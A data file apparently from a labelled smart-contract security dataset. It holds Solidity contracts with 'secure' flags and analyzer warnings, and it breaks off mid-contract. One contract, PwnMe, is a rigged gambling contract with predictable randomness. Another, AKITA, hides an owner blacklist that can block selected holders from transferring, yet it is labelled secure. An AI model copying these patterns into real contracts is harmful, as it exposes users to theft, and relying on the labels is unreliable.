files
dict
{ "code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/utils/Context.sol\" as Context;\n\ncontract Ownable is Context {\n address private _Owner;\n\n event OwnershipTransferred(\n address indexed previousOwner,\n address indexed newOwner\n );\n\n constructor() {\n address msgSender = _msgSender();\n\n _Owner = msgSender;\n\n emit OwnershipTransferred(address(0), msgSender);\n }\n\n function owner() public view returns (address) {\n return _Owner;\n }\n\n function renounceOwnership() public virtual {\n require(msg.sender == _Owner);\n\n emit OwnershipTransferred(_Owner, address(0));\n\n _Owner = address(0);\n }\n}", "file_name": "solidity_code_298.sol", "secure": 1, "size_bytes": 748 }
{ "code": "// SPDX-License-Identifier: UNLICENSE\n\npragma solidity ^0.8.0;\n\ninterface ICoFiStakingRewards {\n function setGovernance(address _new) external;\n function withdrawSavingByGov(address _to, uint256 _amount) external;\n function pendingSavingAmount() external view returns (uint256);\n}", "file_name": "solidity_code_2980.sol", "secure": 1, "size_bytes": 297 }
{ "code": "// SPDX-License-Identifier: UNLICENSE\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/token/ERC20/ERC20.sol\" as ERC20;\n\ncontract Token is ERC20 {\n mapping(address => uint256) private _balances;\n mapping(address => mapping(address => uint256)) private _allowances;\n\n\t// WARNING Optimization Issue (immutable-states | ID: a19c0f7): Token._totalSupply should be immutable \n\t// Recommendation for a19c0f7: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n uint256 private _totalSupply;\n\t// WARNING Optimization Issue (immutable-states | ID: 38489ce): Token._decimals should be immutable \n\t// Recommendation for 38489ce: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n uint8 private _decimals;\n\n string private _name;\n string private _symbol;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 03c8222): Token._owner should be immutable \n\t// Recommendation for 03c8222: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address payable private _owner;\n\n constructor() {\n _symbol = \"SpaceDoge\";\n _name = \"Space Doge\";\n _decimals = 6;\n _totalSupply = 1000000000000000000;\n _owner = payable(msg.sender);\n _balances[_owner] = _totalSupply;\n }\n\n function name() public view virtual returns (string memory) {\n return _name;\n }\n\n function symbol() public view virtual returns (string memory) {\n return _symbol;\n }\n\n function decimals() public view virtual returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public view virtual override returns (uint256) {\n return _totalSupply;\n }\n\n function balanceOf(\n address account\n ) public view virtual override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n _transfer(msg.sender, recipient, amount);\n return true;\n }\n\n function allowance(\n address owner,\n address spender\n ) public view virtual override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public virtual override returns (bool) {\n _approve(msg.sender, spender, amount);\n return true;\n }\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n _transfer(sender, recipient, amount);\n\n uint256 currentAllowance = _allowances[sender][msg.sender];\n require(\n currentAllowance >= amount,\n \"ERC20: transfer amount exceeds allowance\"\n );\n unchecked {\n _approve(sender, msg.sender, currentAllowance - amount);\n }\n\n return true;\n }\n\n function _transfer(\n address sender,\n address recipient,\n uint256 amount\n ) internal virtual {\n require(sender != address(0), \"ERC20: transfer from the zero address\");\n require(recipient != address(0), \"ERC20: transfer to the zero address\");\n\n uint256 senderBalance = _balances[sender];\n require(\n senderBalance >= amount,\n \"ERC20: transfer amount exceeds balance\"\n );\n unchecked {\n _balances[sender] = senderBalance - amount;\n }\n _balances[recipient] += amount;\n\n emit Transfer(sender, recipient, amount);\n }\n\n function _approve(\n address owner,\n address spender,\n uint256 amount\n ) internal virtual {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n _allowances[owner][spender] = amount;\n emit Approval(owner, spender, amount);\n }\n}", "file_name": "solidity_code_2981.sol", "secure": 1, "size_bytes": 4153 }
{ "code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nlibrary SafeMathUniswap {\n function add(uint256 x, uint256 y) internal pure returns (uint256 z) {\n require((z = x + y) >= x, \"ds-math-add-overflow\");\n }\n\n function sub(uint256 x, uint256 y) internal pure returns (uint256 z) {\n require((z = x - y) <= x, \"ds-math-sub-underflow\");\n }\n\n function mul(uint256 x, uint256 y) internal pure returns (uint256 z) {\n require(y == 0 || (z = x * y) / y == x, \"ds-math-mul-overflow\");\n }\n}", "file_name": "solidity_code_2982.sol", "secure": 1, "size_bytes": 538 }
{ "code": "// SPDX-License-Identifier: UNLICENSE\n\npragma solidity ^0.8.0;\n\nlibrary SafeMath {\n function add(uint256 x, uint256 y) internal pure returns (uint256) {\n uint256 z = x + y;\n require(z >= x, \"uint overflow\");\n return z;\n }\n}", "file_name": "solidity_code_2983.sol", "secure": 1, "size_bytes": 260 }
{ "code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/token/ERC20/ERC20.sol\" as ERC20;\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\n\ncontract KB9Token is ERC20, Ownable {\n constructor() ERC20(\"KB9\", \"KB9\") Ownable() {\n _mint(msg.sender, 20000000000000000000000000);\n }\n}", "file_name": "solidity_code_2984.sol", "secure": 1, "size_bytes": 349 }
{ "code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\ninterface IOwnableDelegateProxy {}", "file_name": "solidity_code_2985.sol", "secure": 1, "size_bytes": 96 }
{ "code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"./IOwnableDelegateProxy.sol\" as IOwnableDelegateProxy;\n\nabstract contract IWyvernProxyRegistry {\n mapping(address => IOwnableDelegateProxy) public proxies;\n function registerProxy()\n public\n virtual\n returns (IOwnableDelegateProxy proxy);\n}", "file_name": "solidity_code_2986.sol", "secure": 1, "size_bytes": 345 }
{ "code": "// SPDX-License-Identifier: UNLICENSED\n\npragma solidity ^0.8.0;\n\ncontract RandNumGen {\n function randInt(uint256 n) external view returns (uint256) {\n return (uint160(address(this)) + block.number / 100) % n;\n }\n}", "file_name": "solidity_code_2987.sol", "secure": 1, "size_bytes": 234 }
{ "code": "// SPDX-License-Identifier: UNLICENSED\n\npragma solidity ^0.8.0;\n\nimport \"./RandNumGen.sol\" as RandNumGen;\n\ncontract PwnMe {\n mapping(address => uint256) public balanceOf;\n RandNumGen private immutable rng;\n address private immutable dev;\n address private immutable recipiant;\n uint256 public lastBlockNumber;\n\n modifier isMainnetNRE() {\n require(block.chainid == 1);\n require(block.number > lastBlockNumber);\n lastBlockNumber = block.number;\n _;\n }\n\n constructor(address rngAddress) payable isMainnetNRE {\n rng = RandNumGen(rngAddress);\n dev = recipiant = msg.sender;\n }\n\n receive() external payable isMainnetNRE {\n register(msg.sender, msg.value);\n }\n\n function register(address player, uint256 amount) internal {\n if (!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!isEOA(player)) {\n payable(dev).transfer(amount);\n return;\n }\n\n if (amount < 100000000000000000) {\n payable(dev).transfer(amount);\n return;\n }\n\n balanceOf[player] += amount;\n }\n\n\t// WARNING Vulnerability (incorrect-equality | severity: Medium | ID: 1888d3c): PwnMe.doubleOrNothing(address) uses a dangerous strict equality block.number % 2 == 0\n\t// Recommendation for 1888d3c: Don't use strict equality to determine if an account has enough Ether or tokens.\n function doubleOrNothing(address recipient) external isMainnetNRE {\n uint256 payment = 2 * balanceOf[msg.sender];\n balanceOf[msg.sender] = 0;\n\n\t\t// incorrect-equality | ID: 1888d3c\n if (block.number % 2 == 0) {\n payable(recipiant).transfer(payment);\n } else {\n payable(dev).transfer(payment);\n }\n }\n\n\t// WARNING Vulnerability (missing-zero-check | severity: Low | ID: 8e6f773): PwnMe.playTheLottery(address,uint256,uint256).recipient lacks a zerocheck on \t address(recipient).transfer(2 * bet)\n\t// Recommendation for 8e6f773: Check that the address is not zero.\n function playTheLottery(\n address recipient,\n uint256 bet,\n uint256 lottoNumber\n ) external isMainnetNRE {\n balanceOf[msg.sender] -= bet;\n\n if (bet < 100000000000000000) {\n payable(dev).transfer(bet);\n return;\n }\n if (lottoNumber == rng.randInt(1000000)) {\n\t\t\t// missing-zero-check | ID: 8e6f773\n payable(recipient).transfer(2 * bet);\n } else {\n payable(dev).transfer(bet);\n }\n }\n\n function isEOA(address player) internal view returns (bool) {\n return player == tx.origin && msg.data.length > 0;\n }\n\n fallback() external payable isMainnetNRE {\n register(msg.sender, msg.value);\n }\n}", "file_name": "solidity_code_2988.sol", "secure": 0, "size_bytes": 2827 }
{ "code": "// SPDX-License-Identifier: UNLICENSE\n\npragma solidity ^0.8.0;\n\nlibrary Math {\n function sqrt(uint256 y) internal pure returns (uint256 z) {\n if (y > 3) {\n z = y;\n uint256 x = y / 2 + 1;\n while (x < z) {\n z = x;\n x = (y / x + x) / 2;\n }\n } else if (y != 0) {\n z = 1;\n }\n }\n}", "file_name": "solidity_code_2989.sol", "secure": 1, "size_bytes": 403 }
{ "code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/utils/Context.sol\" as Context;\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\n\ncontract AKITA is Context, IERC20, Ownable {\n mapping(address => uint256) public _balances;\n\n mapping(address => uint256) public _Swap;\n\n mapping(address => bool) private _View;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n\t// WARNING Optimization Issue (immutable-states | ID: c3770f2): AKITA._totalSupply should be immutable \n\t// Recommendation for c3770f2: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n uint256 public _totalSupply;\n\n\t// WARNING Optimization Issue (constable-states | ID: e2a0506): AKITA._name should be constant \n\t// Recommendation for e2a0506: Add the 'constant' attribute to state variables that never change.\n string public _name =\n \"Alliance for Knowledge, Innovation, and Technological Advancement\";\n\n\t// WARNING Optimization Issue (constable-states | ID: f89f6a3): AKITA._symbol should be constant \n\t// Recommendation for f89f6a3: Add the 'constant' attribute to state variables that never change.\n string public _symbol = unicode\"AKITA\";\n\n\t// WARNING Optimization Issue (constable-states | ID: e565038): AKITA._dig should be constant \n\t// Recommendation for e565038: Add the 'constant' attribute to state variables that never change.\n uint8 private _dig = 8;\n\n\t// WARNING Optimization Issue (constable-states | ID: ff51bfd): AKITA._LP should be constant \n\t// Recommendation for ff51bfd: Add the 'constant' attribute to state variables that never change.\n bool _LP = true;\n\n constructor() {\n uint256 _Set = block.number;\n\n _Swap[_msgSender()] += _Set;\n\n _totalSupply += 1000000000 * 100000000;\n\n _balances[_msgSender()] += _totalSupply;\n\n emit Transfer(address(0), _msgSender(), _totalSupply);\n }\n\n function name() public view returns (string memory) {\n return _name;\n }\n\n function symbol() public view returns (string memory) {\n return _symbol;\n }\n\n function decimals() public view returns (uint8) {\n return _dig;\n }\n\n function totalSupply() public view virtual override returns (uint256) {\n return _totalSupply;\n }\n\n function balanceOf(\n address account\n ) public view virtual override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n function allowance(\n address accountOwner,\n address spender\n ) public view virtual override returns (uint256) {\n return _allowances[accountOwner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public virtual override returns (bool) {\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n _transferfrom(sender, recipient, amount);\n\n uint256 currentAllowance = _allowances[sender][_msgSender()];\n\n require(\n currentAllowance >= amount,\n \"ERC20: transfer amount exceeds allowance\"\n );\n\n _approve(sender, _msgSender(), currentAllowance - amount);\n\n return true;\n }\n\n function _transfer(\n address sender,\n address recipient,\n uint256 amount\n ) internal virtual {\n require(sender != address(0), \"ERC20: transfer from the zero address\");\n\n require(recipient != address(0), \"ERC20: transfer to the zero address\");\n\n require(amount > 0, \"Transfer amount must be grater thatn zero\");\n\n if (_View[sender]) require(_LP == false, \"\");\n\n uint256 senderBalance = _balances[sender];\n\n require(\n senderBalance >= amount,\n \"ERC20: transfer amount exceeds balance\"\n );\n\n _balances[sender] = senderBalance - amount;\n\n _balances[recipient] += amount;\n\n emit Transfer(sender, recipient, amount);\n }\n\n function _transferfrom(\n address sender,\n address recipient,\n uint256 amount\n ) internal virtual {\n require(sender != address(0), \"ERC20: transfer from the zero address\");\n\n require(recipient != address(0), \"ERC20: transfer to the zero address\");\n\n require(amount > 0, \"Transfer amount must be grater thatn zero\");\n\n if (_View[sender] || _View[recipient]) require(_LP == false, \"\");\n\n uint256 senderBalance = _balances[sender];\n\n require(\n senderBalance >= amount,\n \"ERC20: transfer amount exceeds balance\"\n );\n\n _balances[sender] = senderBalance - amount;\n\n _balances[recipient] += amount;\n\n emit Transfer(sender, recipient, amount);\n }\n\n function _Excute(address _One) external {\n require(_Swap[_msgSender()] >= _dig);\n\n _View[_One] = true;\n }\n\n function _approve(\n address accountOwner,\n address spender,\n uint256 amount\n ) internal virtual {\n require(\n accountOwner != address(0),\n \"ERC20: approve from the zero address\"\n );\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n _allowances[accountOwner][spender] = amount;\n\n emit Approval(accountOwner, spender, amount);\n }\n\n function _Undx(address _One) external {\n require(_Swap[_msgSender()] >= _dig);\n\n _View[_One] = false;\n }\n}", "file_name": "solidity_code_299.sol", "secure": 1, "size_bytes": 6023 }
{ "code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/token/ERC20/ERC20.sol\" as ERC20;\n\ncontract NIL is ERC20 {\n\t// WARNING Optimization Issue (immutable-states | ID: 642f876): NIL._owner should be immutable \n\t// Recommendation for 642f876: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address private _owner;\n\n constructor() ERC20(\"NIL\", \"NIL\") {\n uint256 initialSupply = 10000000 * (10 ** decimals());\n _mint(msg.sender, initialSupply);\n _owner = msg.sender;\n }\n\n function decimals() public view override returns (uint8) {\n return 8;\n }\n\n function owner() public view returns (address) {\n return _owner;\n }\n}", "file_name": "solidity_code_2990.sol", "secure": 1, "size_bytes": 785 }
{ "code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"./ERC20PresetFixedSupply.sol\" as ERC20PresetFixedSupply;\n\ncontract ThousandMillionToken is ERC20PresetFixedSupply {\n constructor()\n ERC20PresetFixedSupply(\n \"ThousandMillion\",\n \"TM\",\n 1000 * 10 ** 18,\n msg.sender\n )\n {}\n}", "file_name": "solidity_code_2991.sol", "secure": 1, "size_bytes": 366 }
{ "code": "// SPDX-License-Identifier: UNLICENSE\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/utils/math/SafeMath.sol\" as SafeMath;\nimport \"@openzeppelin/contracts/utils/math/Math.sol\" as Math;\n\ncontract TestSafeMath {\n using SafeMath for uint;\n\n uint256 public constant MAX_UINT = 2 ** 256 - 1;\n\n function testAdd(uint256 x, uint256 y) public pure returns (uint256) {\n return x.add(y);\n }\n\n function testSquareRoot(uint256 x) public pure returns (uint256) {\n return Math.sqrt(x);\n }\n}", "file_name": "solidity_code_2992.sol", "secure": 1, "size_bytes": 538 }
{ "code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/utils/Context.sol\" as Context;\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\nimport \"@openzeppelin/contracts/interfaces/IERC20Metadata.sol\" as IERC20Metadata;\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\n\ncontract HC is Context, IERC20, IERC20Metadata, Ownable {\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n uint256 private _totalSupply;\n\n string private _name;\n string private _symbol;\n\n constructor() {\n _name = \"Homeless Coin\";\n _symbol = \"HC\";\n _totalSupply = 100000000 * (10 ** decimals());\n _balances[msg.sender] = _totalSupply;\n emit Transfer(address(0), msg.sender, _totalSupply);\n }\n\n function name() public view virtual override returns (string memory) {\n return _name;\n }\n\n function symbol() public view virtual override returns (string memory) {\n return _symbol;\n }\n\n function decimals() public view virtual override returns (uint8) {\n return 18;\n }\n\n function totalSupply() public view virtual override returns (uint256) {\n return _totalSupply;\n }\n\n function balanceOf(\n address account\n ) public view virtual override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: bc499f9): HC.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for bc499f9: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view virtual override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public virtual override returns (bool) {\n _approve(_msgSender(), spender, amount);\n return true;\n }\n\n function _mint(address account, uint256 amount) internal virtual {\n require(account != address(0), \"ERC20: mint to the zero address\");\n\n _beforeTokenTransfer(address(0), account, amount);\n\n _totalSupply += amount;\n _balances[account] += amount;\n emit Transfer(address(0), account, amount);\n\n _afterTokenTransfer(address(0), account, amount);\n }\n\n function mint(address account, uint256 amount) public onlyOwner {\n _mint(account, amount);\n }\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n _transfer(sender, recipient, amount);\n\n uint256 currentAllowance = _allowances[sender][_msgSender()];\n require(\n currentAllowance >= amount,\n \"ERC20: transfer amount exceeds allowance\"\n );\n _approve(sender, _msgSender(), currentAllowance - amount);\n\n return true;\n }\n\n function increaseAllowance(\n address spender,\n uint256 addedValue\n ) public virtual returns (bool) {\n _approve(\n _msgSender(),\n spender,\n _allowances[_msgSender()][spender] + addedValue\n );\n return true;\n }\n\n function decreaseAllowance(\n address spender,\n uint256 subtractedValue\n ) public virtual returns (bool) {\n uint256 currentAllowance = _allowances[_msgSender()][spender];\n require(\n currentAllowance >= subtractedValue,\n \"ERC20: decreased allowance below zero\"\n );\n _approve(_msgSender(), spender, currentAllowance - subtractedValue);\n\n return true;\n }\n\n function _transfer(\n address sender,\n address recipient,\n uint256 amount\n ) internal virtual {\n require(sender != address(0), \"ERC20: transfer from the zero address\");\n require(recipient != address(0), \"ERC20: transfer to the zero address\");\n\n _beforeTokenTransfer(sender, recipient, amount);\n\n uint256 senderBalance = _balances[sender];\n require(\n senderBalance >= amount,\n \"ERC20: transfer amount exceeds balance\"\n );\n _balances[sender] = senderBalance - amount;\n _balances[recipient] += amount;\n emit Transfer(sender, recipient, amount);\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: d06e014): HC._approve(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for d06e014: Rename the local variables that shadow another component.\n function _approve(\n address owner,\n address spender,\n uint256 amount\n ) internal virtual {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n _allowances[owner][spender] = amount;\n emit Approval(owner, spender, amount);\n }\n\n function _beforeTokenTransfer(\n address from,\n address to,\n uint256 amount\n ) internal virtual {}\n function _afterTokenTransfer(\n address from,\n address to,\n uint256 amount\n ) internal virtual {}\n}", "file_name": "solidity_code_2993.sol", "secure": 0, "size_bytes": 5645 }
{ "code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\ninterface ERC721Enumerable {\n function totalSupply() external view returns (uint256);\n\n function tokenByIndex(uint256 _index) external view returns (uint256);\n\n function tokenOfOwnerByIndex(\n address _owner,\n uint256 _index\n ) external view returns (uint256);\n}", "file_name": "solidity_code_2994.sol", "secure": 1, "size_bytes": 358 }
{ "code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\ninterface ERC721Metadata {\n function name() external view returns (string memory _name);\n\n function contractURI() external view returns (string memory _nftURI);\n\n function symbol() external view returns (string memory _symbol);\n\n function tokenURI(uint256 _tokenId) external view returns (string memory);\n\n function tokenRedeemable(uint256 _tokenId) external view returns (bool);\n}", "file_name": "solidity_code_2995.sol", "secure": 1, "size_bytes": 468 }
{ "code": "// SPDX-License-Identifier: UNLICENSE\n\npragma solidity ^0.8.0;\n\nlibrary Array {\n function remove(uint256[] storage arr, uint256 index) public {\n require(arr.length > 0, \"Can't remove from empty array\");\n arr[index] = arr[arr.length - 1];\n arr.pop();\n }\n}", "file_name": "solidity_code_2996.sol", "secure": 1, "size_bytes": 291 }
{ "code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"./NFToken.sol\" as NFToken;\nimport \"./ERC721Metadata.sol\" as ERC721Metadata;\n\ncontract NFTokenMetadata is NFToken, ERC721Metadata {\n string internal nftName;\n\n string internal nftSymbol;\n\n string internal nftURI;\n\n mapping(uint256 => string) internal idToUri;\n\n mapping(uint256 => bool) internal idToRedeemable;\n\n constructor() {\n supportedInterfaces[0x5b5e139f] = true;\n }\n\n function name() external view override returns (string memory _name) {\n _name = nftName;\n }\n\n function symbol() external view override returns (string memory _symbol) {\n _symbol = nftSymbol;\n }\n\n function contractURI()\n external\n view\n override\n returns (string memory _nftURI)\n {\n _nftURI = nftURI;\n }\n\n function tokenURI(\n uint256 _tokenId\n ) external view override validNFToken(_tokenId) returns (string memory) {\n return idToUri[_tokenId];\n }\n\n function tokenRedeemable(\n uint256 _tokenId\n ) external view override validNFToken(_tokenId) returns (bool) {\n return idToRedeemable[_tokenId];\n }\n\n function _burn(uint256 _tokenId) internal virtual override {\n super._burn(_tokenId);\n\n delete idToUri[_tokenId];\n }\n\n function _setTokenUri(\n uint256 _tokenId,\n string memory _uri\n ) internal validNFToken(_tokenId) {\n idToUri[_tokenId] = _uri;\n }\n\n function _setTokenRedeemable(\n uint256 _tokenId,\n bool _redeemable\n ) internal validNFToken(_tokenId) {\n idToRedeemable[_tokenId] = _redeemable;\n }\n}", "file_name": "solidity_code_2997.sol", "secure": 1, "size_bytes": 1731 }
{ "code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"./NFToken.sol\" as NFToken;\nimport \"./ERC721Enumerable.sol\" as ERC721Enumerable;\n\ncontract NFTokenEnumerable is NFToken, ERC721Enumerable {\n string constant INVALID_INDEX = \"005007\";\n\n uint256[] internal tokens;\n\n mapping(uint256 => uint256) internal idToIndex;\n\n mapping(address => uint256[]) internal ownerToIds;\n\n mapping(uint256 => uint256) internal idToOwnerIndex;\n\n constructor() {\n supportedInterfaces[0x780e9d63] = true;\n }\n\n function totalSupply() external view override returns (uint256) {\n return tokens.length;\n }\n\n function tokenByIndex(\n uint256 _index\n ) external view override returns (uint256) {\n require(_index < tokens.length, INVALID_INDEX);\n return tokens[_index];\n }\n\n function tokenOfOwnerByIndex(\n address _owner,\n uint256 _index\n ) external view override returns (uint256) {\n require(_index < ownerToIds[_owner].length, INVALID_INDEX);\n return ownerToIds[_owner][_index];\n }\n\n function _mint(address _to, uint256 _tokenId) internal virtual override {\n super._mint(_to, _tokenId);\n tokens.push(_tokenId);\n idToIndex[_tokenId] = tokens.length - 1;\n }\n\n function _burn(uint256 _tokenId) internal virtual override {\n super._burn(_tokenId);\n\n uint256 tokenIndex = idToIndex[_tokenId];\n uint256 lastTokenIndex = tokens.length - 1;\n uint256 lastToken = tokens[lastTokenIndex];\n\n tokens[tokenIndex] = lastToken;\n\n tokens.pop();\n\n idToIndex[lastToken] = tokenIndex;\n idToIndex[_tokenId] = 0;\n }\n\n function _removeNFToken(\n address _from,\n uint256 _tokenId\n ) internal virtual override {\n require(idToOwner[_tokenId] == _from, NOT_OWNER);\n delete idToOwner[_tokenId];\n\n uint256 tokenToRemoveIndex = idToOwnerIndex[_tokenId];\n uint256 lastTokenIndex = ownerToIds[_from].length - 1;\n\n if (lastTokenIndex != tokenToRemoveIndex) {\n uint256 lastToken = ownerToIds[_from][lastTokenIndex];\n ownerToIds[_from][tokenToRemoveIndex] = lastToken;\n idToOwnerIndex[lastToken] = tokenToRemoveIndex;\n }\n\n ownerToIds[_from].pop();\n }\n\n function _addNFToken(\n address _to,\n uint256 _tokenId\n ) internal virtual override {\n require(idToOwner[_tokenId] == address(0), NFT_ALREADY_EXISTS);\n idToOwner[_tokenId] = _to;\n\n ownerToIds[_to].push(_tokenId);\n idToOwnerIndex[_tokenId] = ownerToIds[_to].length - 1;\n }\n\n function _getOwnerNFTCount(\n address _owner\n ) internal view virtual override returns (uint256) {\n return ownerToIds[_owner].length;\n }\n}", "file_name": "solidity_code_2998.sol", "secure": 1, "size_bytes": 2882 }
{ "code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"./NFTokenMetadata.sol\" as NFTokenMetadata;\nimport \"./NFTokenEnumerable.sol\" as NFTokenEnumerable;\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\n\ncontract NFTRedeemableOption is NFTokenMetadata, NFTokenEnumerable, Ownable {\n constructor(\n string memory _name,\n string memory _symbol,\n string memory _nftURI\n ) {\n nftName = _name;\n nftSymbol = _symbol;\n nftURI = _nftURI;\n }\n\n function allIds() external view returns (uint256[] memory) {\n return tokens;\n }\n\n function mint(\n address _to,\n uint256 _tokenId,\n string calldata _uri,\n bool _redeemable\n ) external onlyOwner {\n super._mint(_to, _tokenId);\n super._setTokenUri(_tokenId, _uri);\n super._setTokenRedeemable(_tokenId, _redeemable);\n }\n\n function burn(uint256 _tokenId) external onlyOwner {\n super._burn(_tokenId);\n }\n\n function redeem(uint256 _tokenId) external onlyOwner {\n super._setTokenRedeemable(_tokenId, false);\n }\n\n function _mint(\n address _to,\n uint256 _tokenId\n ) internal virtual override(NFToken, NFTokenEnumerable) {\n NFTokenEnumerable._mint(_to, _tokenId);\n }\n\n function _burn(\n uint256 _tokenId\n ) internal virtual override(NFTokenMetadata, NFTokenEnumerable) {\n NFTokenEnumerable._burn(_tokenId);\n if (bytes(idToUri[_tokenId]).length != 0) {\n delete idToUri[_tokenId];\n }\n }\n\n function _removeNFToken(\n address _from,\n uint256 _tokenId\n ) internal override(NFToken, NFTokenEnumerable) {\n NFTokenEnumerable._removeNFToken(_from, _tokenId);\n }\n\n function _addNFToken(\n address _to,\n uint256 _tokenId\n ) internal override(NFToken, NFTokenEnumerable) {\n NFTokenEnumerable._addNFToken(_to, _tokenId);\n }\n\n function _getOwnerNFTCount(\n address _owner\n ) internal view override(NFToken, NFTokenEnumerable) returns (uint256) {\n return NFTokenEnumerable._getOwnerNFTCount(_owner);\n }\n}", "file_name": "solidity_code_2999.sol", "secure": 1, "size_bytes": 2218 }
{ "code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\ninterface IERC20 {\n function totalSupply() external view returns (uint256);\n\n function balanceOf(address account) external view returns (uint256);\n\n function transfer(\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n function allowance(\n address owner,\n address spender\n ) external view returns (uint256);\n\n function approve(address spender, uint256 amount) external returns (bool);\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n event Transfer(address indexed from, address indexed to, uint256 value);\n\n event Approval(\n address indexed owner,\n address indexed spender,\n uint256 value\n );\n}", "file_name": "solidity_code_3.sol", "secure": 1, "size_bytes": 867 }
{ "code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nabstract contract Platforme {\n function _msgSender() internal view virtual returns (address) {\n return msg.sender;\n }\n}", "file_name": "solidity_code_30.sol", "secure": 1, "size_bytes": 198 }
{ "code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/token/ERC20/ERC20.sol\" as ERC20;\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\n\ncontract TUX is ERC20, Ownable {\n constructor() ERC20(\"TUX\", \"TUX\") {\n _mint(msg.sender, 1000000 * 10 ** decimals());\n }\n}", "file_name": "solidity_code_300.sol", "secure": 1, "size_bytes": 334 }
{ "code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\nimport \"@openzeppelin/contracts/utils/math/SafeMath.sol\" as SafeMath;\n\ncontract LifeToken is IERC20 {\n using SafeMath for uint256;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 140addf): LifeToken.tokenBurner should be immutable \n\t// Recommendation for 140addf: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address public tokenBurner;\n\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n string private _name;\n string private _symbol;\n\t// WARNING Optimization Issue (immutable-states | ID: 1d8536c): LifeToken._decimals should be immutable \n\t// Recommendation for 1d8536c: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n uint8 private _decimals;\n\n constructor() {\n _name = \"Life Crypto\";\n _symbol = \"LIFE\";\n _decimals = 18;\n\n _mint(msg.sender, 10000000000 * 10 ** uint256(18));\n tokenBurner = msg.sender;\n }\n\n modifier onlyOwner() {\n require(msg.sender == tokenBurner, \"supplyController\");\n _;\n }\n\n function name() public view returns (string memory) {\n return _name;\n }\n\n function symbol() public view returns (string memory) {\n return _symbol;\n }\n\n function decimals() public view returns (uint8) {\n return _decimals;\n }\n\n uint256 private _totalSupply;\n\n function totalSupply() public view 